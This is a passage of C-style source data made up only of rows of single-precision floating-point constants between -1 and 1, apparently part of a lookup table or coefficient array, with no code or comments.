0.584243998596814f, -0.442304329829130f, -0.501574294329747f, 0.250155103662225f, 0.320493999001502f, -0.150217982700108f, -0.0381390799255577f, 0.734760815545772f, -0.574574233376749f, 0.593440338163725f, 0.408049858247104f, -0.0845023181203484f, -0.855507806920297f, -0.473198309372409f, 0.331033392104072f, 0.196445364460658f, -0.799745050834061f, -0.973517526224363f, 0.333748727500822f, -0.772356831553232f, -0.430793038424357f, 0.649852557262489f, 0.504357958431509f, 0.779588082810134f, 0.0111847677569461f, -0.995526851285634f, -0.676007517368195f, 0.216774012875664f, -0.618928775636485f, -0.418043155155598f, -0.532063904545563f, -0.566979013994587f, 0.246319907266774f, 0.868651379198082f, -0.0433430896891542f, 0.463004686009427f, -0.162112430964754f, 0.285379745117090f, 0.901512987149549f, -0.706916206313139f, 0.685678130935725f, -0.673017501666538f, 0.0616272859909088f, 0.147532779463338f, -0.0108539826652629f, 0.960841184863269f, -0.950190006701182f, 0.992171414792924f, 0.715577145884581,
0.975908103138584f, -0.769014520827696f, -0.463212420186382f, -0.0761813427220397f, -0.704830850508594f, -0.220579724380686f, 0.840893269946637f, -0.432181989863148f, -0.956790418498701f, 0.122344784859397f, -0.242133592220528f, 0.908514497715246f, 0.303653521236872f, 0.756500828196849f, -0.752207807361831f, 0.367894642791072f, -0.702474131286247f, 0.189226989057138f, 0.401804209353236f, 0.608493473010907f, -0.437378101171900f, -0.158801297891213f, -0.381027984311046f, -0.949403985394057f, 0.370189685252539f, -0.872655295458655f, -0.337934909993878f, -0.0619622888328213f, 0.352094440420005f, 0.128759637109350f, 0.432413186229881f, -0.497474226759161f, 0.552933107875735f, 0.332665936587804f, -0.559261497212156f, -0.886188834336549f, 0.0170548801295034f, 0.192729852728271f, -0.674432365770129f, -0.526014722983374f, 0.425009223123802f, -0.186164676538888f, 0.190362042383007f, -0.0930204201587825f, 0.794188212052413f, -0.243549629178106f, 0.118970185744958f, -0.216230226310237f, 0.412570247218594f, 0.659556685538155f, -0.150540425515543f, -0.850858266540316f, -0.843827815842486f, 0.629298164439457f, 0.944304062363374f, -0.117764731240517f, 0.558568737697335f, 0.731745392387362f, -0.00413812760139165f, -0.251933493011685f, -0.473346352965658f, 0.178783613032362f, 0.547769344759580f, -0.414330113592064f, -0.550251453379012f, -0.925253680779905f, 0.623832825809309f, -0.494251081521428f, 0.0643361026845244f, 0.727107898350051f, 0.814864886916156f, 0.0177325632172460f, 0.749324691554934f, -0.266301024849295f, 0.675202550635588f, -0.0748462128620644f, -0.747853513216831f, -0.222563643557406f, -0.608884446788701f, -0.0374135649675464f, 0.852579123003940f, -0.585927920129879f, 0.604065857569210f, 0.573072924781108f, 0.816831955879520f, 0.723975232584095f, 0.367887024581694f, 0.765292601085641f, 0.836490699448589f, 0.623434131440044f, 0.743568762340577f, 0.140474444458222f, -0.746327891490507f, 0.700496422194197f, 0.549693846244016f, 0.729372970291116f, 0.728185563682229f, -0.614909046853182f, -0.756209631211223f, -0.530222413502955f, -0.312453162783936f, -0.752364704008701f, -0.634475515424180f, -0.133239439768175f, 0.252790153178337f, 0.760626105409900f, -0.838262213452153f, -0.266093046689486f, 0.549339088324875f, -0.278178592347115f, 0.190458706141960f, 0.906814275056971f, -0.579827980376046f, -0.134191470195968f, 0.244720998349483f, 0.795502128014338f, 0.287019836683889f, -0.906277889518234f, -0.817071933038363f, 0.613378274793081f, 0.518208081766432f, -0.388902790616382f, -0.785778461147273f, 0.574976429920521f, -0.283168065839246f, -0.857322381041868f, 0.424932015236353f, 0.919756642423073f, 0.412896759578072f, -0.976511020897041f, 0.157825653359643f, -0.0606591903280758f, 0.508438714729350f, -0.513115001652116f, 0.881391940997543f, -0.129708782033534f, 0.382462819411800f, -0.538751535594113f, 0.816770663497783f, 0.869013288394013f, -0.728381721932439f, -0.956736333819522f, -0.839107107637575f, 0.394821058517234f, 0.721983518815999f, -0.0847231453556103f, 0.0206545030491683f, 0.414707730497861f, 0.246591855656934f, -0.546187573590839f, -0.578957978692654f, 0.162844799084821f, 0.493731081270802f, -0.765815587549615f, 0.151613093585910f, -0.112883397239635f, 0.879319928900002f, 0.295375250614654f, -0.505370201033860f, -0.635319167339584f, -0.309818465920078f, 0.768627024018538f, -0.544374452091825f, 0.758974060573473f, -0.106050973670013f, 0.508616501970226f, -0.207224226211215f, 0.616842248601645f, 0.688381226662374f, 0.643728558619948f, -0.906982649598668f, 0.526262112978799f, -0.666644270400075f, 0.314806313630502f, -0.292000096972562f, -0.358353880616007f, 0.156344541906829f, 0.637606941586786f, -0.199572501073669f, -0.669369278061572f, 0.237513395315133f, -0.576741807179552f, 0.0750117203638310f, -0.633877533594996f, 0.829285089669934f, 0.622345234313277f, -0.892617583855908f, -0.280449892200797f, 0.241147361581176f, -0.0784016295955696f, 0.414945819313502f, 0.287238318044040f, -0.691458270387106f, 0.597656137422422f, 0.549022082569726f, -0.590776624040652f, 0.666740423918019f, -0.743115212424850f, 0.164036350785269f, -0.229427480781113f, 0.283602991107853f, -0.533993445778340f, 0.185806116700093f, -0.317953364055307f, 0.140412503708198f, 0.280706883979940f, 0.0439806827213221f, 0.176471515460512f, -0.614144204292693f, 0.314194083857125f, 0.519572839644130f, -0.850547081260782f, -0.515460990713008f, 0.353087995032390f, -0.0241014119925820f, 0.269453276643829f, -0.608515317887958f, -0.777818225534647f, -0.834277444316067f, -0.842707175235771f, -0.929547602540323f, -0.884691870945475f, 0.710591809809692f, 0.143423776629673f, 0.797136471728128f, 0.233311155245426f, -0.923169961754164f, 0.627911916101674f, -0.338187201367212f, 0.211044396110784f, -0.443699655795038f, 0.256593551969761f, -0.406688684034041f, 0.364900889856600f, 0.900530571350288f, -0.160476177153537f, 0.0634217008071056f, 0.709241599309354f, -0.789562037599596f, 0.00891621061029158f, 0.801674768895422f, -0.704378031949125f, 0.430576706378041f, 0.796937507044124f, -0.193348850174576f, -0.493924902919358f, -0.935781577118986f, 0.468142331108629f, 0.00965840085728753f, 0.0834398764999438f, 0.599712941235232f, -0.735675950275295f, 0.200152501800787f, -0.751603779675650f, 0.0697488403240092f, 0.300634243862625f, -0.901969784333300f, -0.958816237033024f, -0.754976119377363f, 0.719702182489622f, -0.338038642556184f, -0.703280944186943f, -0.579148694005994f, 0.556115731092296f, -0.920710928208685f, -0.278178108839470f, -0.793795308512285f, 0.916547680808212f, 0.419467216101691f, 0.177932177026735f, 0.682833725334600f, -0.926849803428705f, 0.179045225389745f, -0.209414969718359f, -0.889551871881532f, 0.961659420127890f, -0.250341627298645f, 0.105606170554974f, -0.547860346689080f, 0.845704098204057f, 0.886892635683680f, 0.768134466622042f, -0.954777823503721f, -0.718106389777233f, -0.580779231998609f, -0.0241800476518665f, 0.815063484178525f, -0.351971452344303f, 0.770369263680192f, 0.520886146470712f, -0.236456125482696f, 0.0900173391919312f, -0.00610611501589697f, 0.0986788038317752f, 0.277083194173223f, 0.0877085076786761f, 0.695814138412262f, 0.281021332783082f, -0.701468161850407f, -0.785496560046616f, -0.805623403379156f, -0.0524204125046179f, 0.0836418099696601f, 0.467252832788807f, 0.148967572323544f, 0.314141193557124f, -0.722297309069329f, 0.147068590429361f, -0.868307069306109f, 0.118712645744921f, 0.737896544941878f, 0.897526485681248f, 0.842207508585120f, 0.817408479766998f, 0.522315328909182f, -0.409136979179218f, 0.580654760034574f, -0.384701243761730f, -0.769398544059918f, -0.791317178699730f, 0.357020281620118f, -0.235410423267782f, -0.326332500533018f, -0.416891876268284f, -0.863029987000052f, 0.505171215727166f, -0.728709553380428f, 0.554546891580919f, 0.737429989077498f, -0.355088598334119f, 0.911987317939763f, 0.525846127625130f, 0.851549830104189f, -0.772303673276796f, 0.0421942169353806f, -0.521836640530782f, 0.995279650924240f, -0.186831960875832f, 0.421233670121556f, -0.0891583750230474f, 0.661100169663965f, 0.393809652414978f, 0.346165179707090f, 0.384203760628548f, -0.329281932973211f, 0.446133401546675f, -0.748200766224366f, -0.0275154142375615f, 0.771701580845288f, -0.0177829993094090f, 0.406813206251131f, 0.606021648140155f, 0.218435152341115f, 0.236571855064013f, -0.513495776515847f, 0.729086381137554f, -0.137775825035815f, 0.0320966747364262f, -0.313487802206023f, 0.105472520924239f, 0.423606700821375f, -0.231301628369264f, 0.465218832919270f, 0.379671652150568f, -0.00497780485272159f, 0.509290230688327f, 0.467240127182068f, 0.353587964503845f, 0.390455232684039f, 0.721536288927627f, -0.838922323815237f, 0.827628029266859f, 0.768844149796201f, -0.813963144642386f, -0.797054297232628f, -0.933039367361175f, -0.0723957249866136f, -0.664824147893300f, 0.695914840901794f, -0.206071660300270f, 0.879389414398409f, 0.181872681691416f, -0.582831210733033f, 0.624249199449935f, 0.204959730900228f, 0.354831594370532f, 0.337152636438178f, 0.596132114241829f, -0.295619496794481f, -0.443402055665686f, 0.743995051028396f, 0.543706744165365f, 0.825846155044062f, -0.764982315603181f, -0.0355223730700034f, -0.682467026736627f, -0.914037445162109f, -0.222823484413727f, 0.825323277024566f, 0.0769459194171547f, 0.696453968928934f, 0.760786120466962f, -0.525470048583831f, 0.764981036001869f, 0.458525204937000f, -0.612703584870878f, 0.626016142683351f, 0.284799326870320f, -0.130410894642153f, -0.730659587111424f, 0.0251896513929686f, 0.744421417725379f, 0.481278905427271f, -0.718686189713675f, -0.972110566787501f, -0.178005803066219f, -0.761536801353512f, 0.675177569459847f, -0.613068600254845f, -0.854757540148688f, 0.641823580903407f, 0.112536000301536f, 0.201235170163357f, -0.332623522893231f, 0.602028236317460f, 0.487529253813741f, -0.936537443253385f, 0.932862477850079f, -0.0977461167435834f, -0.485449569929182f, -0.575807340541437f, -0.920527242558033f, -0.938208754460503f, 0.890054000488493f, -0.154888511872567f, -0.106629818916523f, 0.323343252623500f, 0.105328135407289f, -0.837197492121459f, 0.497769113944639f, -0.234127101891878f, 0.840922493788059f, -0.994297350473539f, 0.241966031396186f, -0.241143860453769f, -0.598953146106117f, 0.839112451637864f, -0.639567866338402f, -0.219908091959649f, -0.778137266578287f, -0.201424793310289f, -0.486105622640452f, 0.874947034932591f, -0.131437343585340f, -0.674427373037920f, -0.161007203320351f, 0.215285933912207f, -0.963047650748652f, -0.841020847986178f, 0.259702280444602f, -0.165325097679823f, 0.572379756389254f, -0.435802768396928f, -0.0776125194906274f, -0.0293182206559168f, -0.847945015803839f, -0.576891917046364f, 0.728544652294888f, 0.110676857648527f, 0.760459056611184f, 0.486936926897001f, 0.680603035572503f, 0.330358411271561f, 0.901153157113818f, -0.893323547516767f, 0.268679990552354f, 0.794615743189695f, 0.221637368947158f, -0.0207579360252996f, -0.585634995914835f, 0.587646126395593f, -0.317780705107399f, 0.790321547328449f, 0.251610679655279f, -0.0386445267248654f, 0.881542790650722f, -0.469258891944944f, -0.900544881246558f, -0.344978220866601f, -0.271404539202745f, 0.863631450621357f, 0.805892242474368f, -0.325004362330199f, -0.649692260224921f, 0.535815472185538f, 0.427767946389023f, 0.924517987543855f, 0.571059970962007f, 0.549923246060706f, -0.639468249016352,
0.307213071097954f, -0.885892976847170f, -0.526002656640427f, 0.733743042788359f, 0.186919211020217f, 0.322167483598106f, -0.933484010727969f, 0.307181642341518f, -0.391959805653480f, -0.892298105797306f, 0.100065710151584f, -0.932962740784651f, -0.643536993204857f, 0.200747180046148f, 0.310831344540979f, -0.923416823619512f, 0.440768799148345f, -0.666930667413366f, -0.485487251971431f, -0.0627811951952384f, -0.331082293469460f, 0.0335811939608148f, -0.653610782697787f, -0.320586426505716f, 0.559163070852115f, -0.497363452770543f, -0.329886484503569f, -0.146612217140156f, -0.0265272745798242f, -0.288663397675155f, -0.996138396801714f, 0.705746028666908f, 0.634215549629091f, 0.165248482682243f, -0.110791752682943f, -0.0583711657160508f, 0.704663932851230f, 0.105987046073574f, -0.674234600022039f, -0.852792911043127f, 0.779458558047699f, -0.506163961277651f, 0.661431789813829f, 0.362986600662932f, 0.677673397902417f, 0.909704544299484f, -0.678129611146149f, -0.700854916363125f, -0.954905799366644f, 0.819329178422143f, -0.278866438326573f, 0.240572863896085f, -0.597973444252616f, 0.520707363092687f, -0.891796539359942f, -0.0707113684027092f, 0.730270237241197f, -0.202809887987925f, 0.712903235793333f, 0.815918058519912f, -0.619284883130692f, 0.620432327799984f, 0.215462902206797f, 0.913706499476201f, -0.284266999538807f, 0.137669223817851f, -0.320599930994154f, -0.279885143029947f, 0.0759863610502050f, 0.362519848337183f, 0.0897184432777523f, 0.730407126330006f, -0.715664883515070f, -0.964294244830797f, 0.337668374417089f, 0.563780948124681f, 0.534272089774928f, 0.670003495251274f, 0.976582736706313f, -0.576021162432801f, 0.318863740329612f, 0.374838616807691f, 0.437628782275460f, 0.629331465907672f, 0.800673318445353f, -0.964950925853698f, -0.115288102568929f, 0.581179798077059f, 0.892103220665649f, -0.224009831257430f, -0.486848659265476f, 0.768601825625188f, -0.478996958061453f, 0.987216084861456f, -0.00828256241998737f, 0.443388113322642f, -0.209225960405120f, 0.784392408672073f, -0.821157008960409f, 0.169088259578466f, 0.188648958653604f, 0.796321723736402f, 0.804915614204973f, -0.947435972579018f, -0.320368366702004f, -0.0857043727442930f, -0.229914128505395f, -0.802013870592427f, 0.497444368231634f, 0.791040716463223f, 0.586369970276563f, 0.871236424247704f, 0.770091868124107f, -0.458396647683594f, 0.871149873224889f, 0.753895449519495f, 0.295832468734546f, 0.574616471536691f, 0.384408809311353f, -0.978021020306570f, 0.0397482936794495f, 0.628095200786834f, -0.968059492217325f, -0.404306711220928f, 0.659301030460980f, -0.345766174675525f, -0.0517956907600681f, -0.640289082986305f, 0.965202733073502f, 0.909703156044274f, -0.744545066259015f, -0.676836498528477f, 0.0507393165493961f, 0.394673166210436f, 0.250366706754377f, -0.287411651947684f, -0.521760552601739f, 0.214487178617345f, -0.922260536787078f, -0.970217444063294f, -0.632705652784150f, -0.720016326822300f, -0.506393579710801f, 0.774172771450182f, 0.891546338793249f, 0.559706491124446f, -0.513481979527671f, 0.735727350850420f, -0.207760672132971f, 0.956672164225499f, -0.516696999265124f, -0.846015525317730f, -0.199370940530009f, 0.927580907007946f, 0.669786891276299f, -0.208316500739886f, -0.349932032863852f, 0.382722440637189f, -0.455635180187178f, -0.573852668753046f, 0.237990995216907f, -0.00210628303929439f, 0.846035951941252f, 0.921932267818374f, 0.141873820779935f, 0.871317167610738f, -0.632607355185838f, -0.565801401210940f, -0.959881482283947f, -0.732559764685905f, -0.655277252471118f, 0.136770193226314f, 0.206392768880907f, 0.0946932052352707f, -0.147722827344946f, 0.142504821799194f, -0.891443939735724f, -0.660161817562772f, -0.918683225740157f, 0.524851053279394f, -0.841532325411647f, -0.662931925252737f, 0.450018807591706f, 0.157794014139767f, -0.562525486647545f, 0.604051451992330f, 0.859220943805127f, 0.943321402026900f, 0.511188518123118f, -0.332990520726740f, 0.904709059147998f, -0.336911302156504f, -0.0329301811082998f, 0.307263624236174f, -0.640655394434152f, 0.791676792853669f, 0.450137270831791f, 0.746000232170803f, -0.915436267533878f, 0.976514418439799f, 0.828073391112522f, 0.990695018409237f, 0.419713963781614f, -0.286897378037841f, 0.111527193084439f, -0.956913449095442f, 0.263769440437253f, 0.534739246489713f, -0.918314908283506f, 0.680501951418845f, -0.0258330390798596f, -0.696521999550769f, 0.274590593565720f, -0.821334538131451f, 0.104139627465949f, -0.790104923997319f, 0.399265830301725f, 0.118854169469537f, 0.309552488812324f, -0.961100729890863f, -0.665645274594184f, -0.125767140532335f, 0.377154316156289f, -0.971986633153292f, -0.148225730575294f, -0.801072242848910f, 0.735673216754228f, 0.247753694178141f, 0.759093842520115f, -0.529946694334253f, 0.594235069164038f, -0.801015868726278f, 0.141962211231124f, 0.135473683510959f, -0.0431660672944612f, -0.437176231417910f, 0.467008031415084f, 0.324675317141816f, 0.122578305547357f, -0.0351479470228342f, -0.437236315511244f, -0.822621846670407f, 0.989461679354308f, -0.242059902390237f, 0.800837521050356f, -0.387832478851607f, 0.316362161826139f, 0.602440060427024f, 0.890992007298149f, 0.319686042477150f, 0.930326885903916f, -0.170779817104763f, -0.437602177375177f, 0.835764105962134f, 0.522922752459604f, 0.295156847627349f, -0.857646277751538f, -0.451421990712551f, 0.752856133268497f, -0.826193868550830f, -0.906961130052697f, 0.118621494342013f, -0.627099634988204f, 0.163256363060383f, -0.719362770410877f, -0.576563943780491f, -0.369939711177846f, -0.294180430088591f, 0.868430622614485f, 0.945955651201780f, -0.879259966782947f, 0.376142233233261f, -0.549019623646418f, -0.366403875933169f, -0.631308623984507f, -0.398270064613022f, 0.631780765950599f, -0.497821177556814f, -0.0754938097555216f, 0.358298259390762f, -0.438971283619577f, -0.835962846436280f, 0.771544885338102f, 0.132031497593111f, 0.0964144932127649f, -0.171144812197942f, 0.734241841669664f, 0.773828279651661f, 0.591442573315395f, 0.449840299498767f, -0.249196666141921f, 0.910274822633449f, -0.623687862912847f, -0.954398427932048f, 0.700975370671540f, -0.128268698036002f, 0.723971772247224f, -0.239872317271662f, 0.599101633280873f, 0.323504979356466f, 0.726076237951951f, 0.775013638477775f, -0.736157118505210f, 0.681129332563739f, -0.989456914597076f, -0.860559243921100f, -0.652547050354339f, 0.227533741410917f, 0.263244425371628f, -0.412800042549063f, -0.774547399227093f, 0.959749220773555f, 0.0285018454625012f, 0.0260964660594436f, -0.817249773797516f, -0.275510098931589f, -0.957071090655421f, 0.755874233806472f, 0.0601247360044190f, 0.155148678178749f, 0.744458452388040f, 0.206143083045583f, 0.405575258734775f, 0.591273066531951f, -0.286358679634110f, 0.168522523380964f, -0.0740663582251186f, 0.991796969736415f, 0.00304472789286958f, 0.0955103281360055f, 0.595292305224677f, -0.633460800851610f, 0.969720344590438f, -0.788939516987962f, -0.690852963213444f, -0.751849610482179f, -0.454105756229298f, 0.527652178438853f, -0.249156091787771f, -0.395486634371019f, -0.586329259469701f, 0.774216673365643f, 0.000796185912973479f, 0.753872935709907f, 0.691883261316931f, -0.599798140130743f, 0.140718954973018f, 0.400016581571111f, -0.412934563119652f, 0.782683275869451f, -0.837415681080234f, 0.503344297140354f, 0.443222186121185f, -0.869067764953740f, 0.891507832007671f, -0.258782538717313f, -0.592111951047753f, 0.542828422857983f, -0.959476625230936f, -0.373353196174649f, 0.558975637763876f, 0.848608638566440f, -0.861701716955403f, -0.937645215971517f, 0.0456695238513540f, -0.643462752057364f, -0.194887894642735f, 0.576940690214110f, -0.889414400002951f, -0.120401270393403f, 0.581976128201341f, -0.914549817300516f, 0.619675229253819f, -0.446355411157033f, -0.686510097388917f, 0.199022704414501f, 0.0679083509214176f, 0.939286059873160f, 0.919854436895475f, -0.921420499961796f, -0.933865152326639f, -0.173428453947994f, 0.0481843697148709f, 0.282408667923603f, 0.411093542307595f, 0.332739798472214f, -0.539048264159821f, -0.704491312083244f, -0.502163632960363f, 0.955228344617550f, 0.620064399129425f, -0.470222569036376f, 0.754614931250763f, -0.616308595262807f, -0.914574682979899f, 0.624066330640082f, 0.836911269770582f, 0.913639510454430f, 0.653228461676548f, -0.269928008555249f, 0.313006679186127f, 0.984676487220296f, -0.492012769698267f, 0.956868299674771f, 0.291679581317590f, 0.0391808383867289f, 0.572884371819903f, 0.0424011452585180f, 0.955486550514640f, -0.402317209279260f, -0.606465037288902f, 0.547296561663929f, -0.262634118959448f, -0.555413611714328f, -0.328781770154915f, 0.145794994289916f, 0.141260540582646f, -0.451655981927315f, 0.305553535897825f, 0.828724940454557f, 0.263943455052409f, -0.609183422737396f, 0.691170220321907f, -0.372701931956834f, 0.750237424665146f, -0.249353280856890f, 0.379870697565802f, 0.385751069018950f, -0.515117494253264f, 0.716937491491901f, 0.343749563024118f, -0.462962268225808f, -0.542579750084113f, 0.865163879545508f, 0.348358741505572f, -0.309602240547849f, -0.0504864877295679f, -0.822856269672862f, 0.199343960697129f, -0.790668167630170f, -0.0910655952543342f, -0.0243531696455832f, 0.832501734319368f, 0.604933598167068f, 0.899053047900036f, 0.270668041381131f, 0.523691409964688f, -0.0841567002292820f, -0.844392287920523f, -0.910987838261586f, -0.470654231510287f, -0.103828495683496f, 0.253788695977573f, -0.103172947809401f, -0.339896741661867f, -0.447251997825083f, 0.217200476817515f, -0.474840886373359f, 0.227876267254650f, -0.851351819181938f, -0.902078585170911f, 0.445464427415683f, -0.842484493463611f, -0.141606736723087f, 0.104224619207891f, -0.554900879859470f, 0.818556374444811f, -0.832710463532413f, -0.284760316465868f, 0.697962734672817f, 0.235137001970259f, 0.538298155374871f, -0.598477541924834f, -0.833959821954974f, -0.164556670763502f, -0.443902305525605f, 0.484290717235912f, 0.319356252041167f, 0.0834544406255109f, -0.839174383593280f, -0.514784811627172f, 0.466424623987191f, 0.597641402168886f, -0.344706573843316f, 0.346954604803744f, 0.150560726232471f, -0.963838773301094f, -0.210406119881130f, 0.740751216241446f, -0.519896828058978f, 0.882277568799242f, 0.982734995306564f, -0.691486807580351f, -0.120653164608028f, 0.263039860106709f, -0.472131671311566f, -0.469155525952548f, -0.562705921604020f, -0.737502946123759f, 0.151863404645485,
-0.367233093688652f, 0.149585386378220f, -0.152980596399920f, 0.572826412281344f, -0.498718037086228f, -0.0794332639424211f, 0.659760386972575f, -0.574814983564964f, 0.451329484188896f, 0.473066930128670f, -0.135151886005125f, 0.379571405476121f, -0.308712078323501f, -0.136843563834117f, 0.395667583713552f, 0.196238140324408f, 0.588147058383512f, 0.770505301611929f, -0.865188840370228f, 0.266437694165002f, -0.428134513764013f, 0.661967260527446f, -0.752421375452379f, -0.556389852423621f, 0.424944298468302f, -0.480554454112605f, 0.916159659428765f, -0.112147362457396f, 0.363475545209813f, 0.698805683596358f, -0.862382341730295f, -0.489415523853276f, 0.453056404353730f, -0.606183761884457f, -0.00869682692408680f, -0.288739722701460f, 0.487988005841341f, 0.566870040344668f, 0.0894575138005909f, 0.887832293799319f, -0.0981274237649674f, -0.279935090781560f, 0.506891141525948f, 0.952901245338457f, 0.458002767525373f, -0.569410776125351f, 0.849518291873527f, -0.585020953514368f, 0.676037258640625f, 0.299076264841081f, 0.911385441491479f, -0.954959555659035f, -0.681285607891366f, 0.631368118385947f, 0.522268523899537f, 0.900701101674748f, -0.647701850365577f, 0.567960815808216f, -0.138958982219446f, 0.267024801687456f, -0.975771109955874f, 0.314682157086949f, -0.378801381286130f, 0.665990927256163f, -0.573674360032848f, -0.860450785684384f, 0.516581474078532f, -0.190844183471714f, -0.451971355445856f, -0.808113003973650f, 0.860446168028895f, 0.377778958059242f, 0.126949039950121f, -0.892203650250330f, 0.572503460980517f, 0.975224974978800f, -0.202312370945465f, 0.500665599343084f, -0.0510413720986291f, 0.353231752436633f, -0.805555931906752f, -0.199761377956955f, -0.829487282239605f, 0.0282459088867508f, 0.814545057118991f, 0.557652277921578f, 0.613951716518862f, -0.678811366342345f, 0.896500288318877f, -0.627622562398925f, 0.802545092571611f, 0.211382709497062f, -0.979380222642662f, 0.826784411456488f, -0.670689878657734f, 0.788878029765924f, 0.137070906151783f, 0.901907287859132f, -0.526217367070263f, -0.545043827128876f, 0.494756249972086f, 0.236657948774128f, 0.156603327087660f, 0.516397244064118f, -0.325837179590292f, 0.460683385171580f, -0.196022953760504f, -0.441996357332195f, -0.808932369852494f, 0.291980108741838f, -0.833583979826152f, 0.365574438479475f, -0.797139524158001f, -0.0649288183732912f, -0.000696491493834994f, 0.100125393693922f, 0.598035350719377f, -0.312548404453564f, 0.0414605409182345f, -0.675913083156432f, 0.236245026389435f, 0.550464243484224f, 0.193366907856750f, -0.903654015709839f, -0.00993172527377806f, 0.0180900754210873f, 0.880678290110106f, 0.166539520562349f, -0.984509466189118f, 0.810283124477894f, -0.925371921448173f, 0.193528916069728f, -0.748644561903135f, 0.534508666819454f, 0.364436869280188f, -0.386979667637943f, 0.427958998441480f, 0.362750270039032f, 0.420886957715891f, 0.0300301961707390f, -0.655220626875711f, 0.0504522662127427f, 0.472640818703213f, -0.417745816013639f, 0.0689992794158720f, 0.461232479061866f, -0.483517586427718f, -0.411463769964024f, 0.622740736364726f, 0.659687134578680f, 0.243900134982579f, -0.684356227282321f, -0.688699031115733f, -0.316032121634021f, -0.644296362948831f, -0.236133265458216f, 0.880259454885881f, -0.956880609581177f, 0.737775899964131f, -0.529059297472703f, 0.794119601436042f, -0.375698158660466f, 0.493447663117292f, -0.752511119115434f, -0.941143365329844f, 0.610101048864035f, 0.253791011658991f, -0.369994602049336f, -0.697364270085742f, -0.681360550250048f, -0.571943442128960f, -0.749697324128684f, 0.611997629275096f, 0.892727938106141f, -0.440225399106758f, 0.00196047981855352f, 0.951252158369648f, 0.0351885308766962f, -0.471806546113710f, -0.657231535594911f, -0.0873481442406481f, -0.0341288006282565f, 0.579184398564974f, -0.224334624306026f, -0.298557652719061f, -0.509401519638379f, 0.188853505083675f, -0.321619146497229f, -0.613159956450671f, 0.570042044631281f, 0.699213203307007f, 0.537439231469861f, 0.529440733283839f, -0.744527226912905f, 0.362949055807175f, 0.529758698714545f, -0.114804719889245f, 0.991089489396930f, -0.186716454683287f, -0.218189173574106f, -0.0493780858124198f, -0.928812411399224f, -0.101855573638590f, 0.454268528366586f, 0.617591620012079f, -0.197519518988231f, 0.0973277590468935f, -0.185672509894105f, 0.649922648337967f, -0.896862900376972f, 0.594999589349510f, -0.746978997769556f, 0.590642952628647f, 0.935109901616311f, -0.293310684054096f, 0.783281817912060f, -0.189898897214222f, 0.414859016240278f, -0.0858574647662298f, 0.0810260863380805f, -0.633024441577653f, 0.248442861097829f, 0.984586601784679f, 0.982811638387854f, 0.547456083836220f, 0.476239638753291f, -0.897709902882279f, -0.208045489357872f, -0.860637131636973f, -0.496740558564284f, -0.944185351410090f, 0.157610983944341f, 0.975214099838643f, 0.550265718083095f, -0.630360326400067f, 0.672420341653334f, -0.897139264107564f, -0.670556423663785f, 0.298764071000339f, -0.310465384759529f, -0.978153640586955f, 0.189785151994709f, 0.929291975296760f, 0.758271912876084f, 0.806829662560108f, -0.472787451147715f, -0.802032434276146f, 0.455809631085663f, 0.985520713417984f, 0.739637167649794f, 0.311705106454777f, -0.120539152808323f, 0.977785717545631f, -0.848554870988208f, -0.281179241544089f, 0.931102239520177f, -0.255243432382956f, -0.284952242030900f, -0.189341152192864f, 0.647573166562597f, -0.474203015584843f, -0.545915610099538f, 0.672696420688916f, -0.239274489717776f, 0.956544960216021f, -0.0858024073600807f, -0.758223415922611f, -0.00817763648068581f, -0.500893489164054f, -0.669386983409311f, -0.344450617815217f, -0.728051392792875f, 0.804121117816188f, 0.00718436691280910f, 0.195237363230272f, -0.472485206728796f, 0.642070241911164f, -0.272384993247314f, -0.731715323915071f, -0.791266589031733f, 0.0339783427570857f, 0.0696513783219659f, -0.894169486972683f, 0.00234016305501483f, -0.0403382685361653f, -0.943600572111266f, -0.788181603936192f, 0.851406365407377f, -0.100015982664501f, 0.145502229793638f, -0.528736628076536f, -0.0313760382570432f, -0.662221611141088f, -0.885722031379862f, -0.744257140212482f, 0.524976313116033f, 0.186092035304635f, 0.181669793648209f, -0.606482674165339f, 0.849303544554227f, 0.226118051135263f, -0.690025550727719f, -0.256543384397548f, -0.207714017766381f, -0.447913202664626f, 0.375270273897879f, -0.884312586292038f, -0.0838720085819762f, 0.969898436757285f, -0.736808033249456f, 0.668875150485586f, -0.599937439969920f, 0.470077288925414f, 0.903135367105719f, -0.895619185450694f, -0.637694108244489f, 0.572669535020987f, -0.696211470281632f, -0.820577518545193f, 0.937364674938455f, 0.422458818039761f, -0.593964370461091f, -0.586264791612426f, 0.0282373486927521f, 0.298051147134121f, 0.592825359583763f, 0.716195674857467f, -0.684008410968338f, -0.167523841045924f, -0.370794208549223f, 0.768054740581884f, 0.997835641681024f, -0.366262133888883f, -0.523114034556271f, -0.457946740456489f, -0.530941146838744f, 0.298744841822404f, 0.390761228562591f, 0.0871171594445448f, 0.764002674223649f, 0.233966808661423f, -0.116573523634048f, 0.426118986433559f, -0.255934695328716f, 0.302314199650152f, -0.254971729124577f, -0.330865677738578f, -0.0840307537517577f, -0.711910586170446f, 0.622585361690409f, 0.367595248366733f, 0.422102667722561f, 0.269580206097961f, 0.707083822001774f, 0.625367208198523f, -0.729594790471199f, 0.708679674727951f, 0.00355767003560614f, 0.379158300246371f, -0.688791438249760f, 0.261637457245975f, 0.704008781391790f, -0.917586017594177f, 0.886443038824615f, -0.923559496787343f, 0.360365726214756f, 0.547058288460181f, -0.279853192856989f, -0.996331953899586f, -0.323735921605962f, -0.618788277975037f, 0.314597206161166f, 0.106380963133907f, -0.235044228453968f, 0.0406899091091886f, 0.687339428801573f, 0.344837805924860f, 0.123214914005620f, -0.735264225932133f, 0.0396243248944774f, 0.270602083588730f, -0.316104623194235f, 0.201800731173529f, -0.348987679395254f, 0.994312100135549f, -0.986073454140000f, -0.787571177818193f, 0.508460947811657f, -0.443663972776222f, 0.800303477136838f, 0.712158443474503f, 0.958364684407633f, -0.0512343510942759f, -0.391095518504938f, -0.291911155637644f, 0.721770656984705f, -0.163541232110535f, 0.0366644501980513f, 0.700853097239887f, -0.508089885354834f, -0.375072588159867f, 0.161585369564288f, 0.686325557438797f, -0.113188612544717f, 0.859354598908873f, -0.723198679696606f, 0.398879124170303f, 0.139357627051752f, 0.484780500073663f, -0.0437501438537016f, -0.868783676783105f, -0.147865612288567f, -0.116480069295514f, -0.986846049950927f, -0.859405305954576f, -0.631359938031082f, -0.0310065270390489f, -0.288382201791710f, -0.500960878568203f, -0.805633068309090f, -0.837604329816134f, 0.0325253228618525f, -0.538953832190091f, 0.913844038280417f, 0.681967460199437f, -0.656775429658090f, 0.922492558885196f, -0.689527254640680f, 0.688263898240070f, -0.225450858342925f, 0.0287239965989763f, -0.407744573364816f, -0.477326718671529f, -0.780374037627418f, 0.500400378743065f, -0.532646941279704f, 0.999679272201893f, 0.136003002234441f, 